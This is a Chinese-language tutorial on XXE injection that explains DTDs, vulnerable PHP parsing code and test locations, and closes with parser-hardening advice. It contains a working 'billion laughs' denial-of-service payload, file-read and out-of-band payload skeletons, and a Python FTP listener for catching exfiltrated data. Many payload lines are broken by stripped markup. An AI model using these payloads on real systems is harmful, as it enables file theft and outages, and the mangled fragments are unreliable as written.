XML是可扩展性标记语言,类似HTML的标记语言,但标签是自定义的。
DTD是文档类型定义,用来为XML文档定义语义约束,可以在xml文件中声明,也可以在外部引用。
XML文件结构:
xml version="1.0" encoding="utf-8"?>
DTD部分(可选)
<root>Testroot>
上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有
DTD内部声明:
DTD外部引用:
DTD内部实体声明:
DTD外部实体声明:
DOCTYPE root [
<!ENTITY name "XXE test">]>
<root>&name;root>
XXE是XML外部实体(XML External Entity)注入的简称,在OWASP TOP 10 2017版中位居A4,属于严重级别的漏洞。此攻击可能导致任意文件读取,远程代码执行,拒绝服务,服务器端请求伪造,内网端口探测,以及其他系统影响。
1、没有过滤用户提交的XML数据
2、使用的开发语言可以解析xml外部实体,如php环境中libxml库≤2.9.0默认启用了外部实体
PHP漏洞示例代码:
php
$xml=isset($_POST['xxe'])?simplexml_load_string($_POST['xxe']):" ";
print_r($xml)
?>
1、涉及到提交xml数据的功能处
2、xml文件上传处
3、office文档上传预览处
4、某些json格式传递数据的地方,可以修改其Content-Type为application/xml,并尝试进行XXE注入
找到上传xml文件、引用外部xml文件或提交xml数据的位置,提交下列数据:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY name "XXE test">]>
<root>&name;</root>
DOCTYPE root [
]>
<root>&name;root>
读取php文件
DOCTYPE root [
]>
读取/etc/passwd文件如图:
读取php文件,如图:
DOCTYPE root [
]>
<root>&name;root>
DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;lolz>
DOCTYPE root [
]>
<root>&name;root>
利用DNSLog检测
DOCTYPE ANY [
]>
<root>&name;root>
Payload
DOCTYPE ANY[
%remote;
%all;
%send;
]>
<root>&name;root>
evil.xml
">
xxeftp脚本
import socket
port=2121
s=socket.socket()
s.bind(('0.0.0.0',port))
s.listen()
print("FTP Server Listening on 0.0.0.0:"+str(port))
while 1:
try:
sock,addr=s.accept()
print("Connected from "+addr[0]+":"+str(addr[1]))
sock.send(b"220 FTP Server\n")
except KeyboardInterrupt:
sock.close()
break
while 1:
try:
data=sock.recv(10240)
if b'USER' in data:
sock.send(b'331 password please - version check\n')
print(data.decode())
sock.send(b"230 FTP Server\n")
except:
print("Remote Client Disconnected")
break
s.close()
Payload
DOCTYPE a [
%asd;
%c;
]>
<a>&rrr;a>
evil.dtd
">
更多无回显XXE请查看相关文章
1、禁用外部实体
PHP:libxml_disable_entity_loader(true);
Java:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
其它语言:https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
2、过滤关键字,如
https://security.tencent.com/index.php/blog/msg/69
http://blog.nsfocus.net/xml-dtd-xxe/
https://www.t00ls.cc/articles-32919.html
https://blog.csdn.net/u011721501/article/details/43775691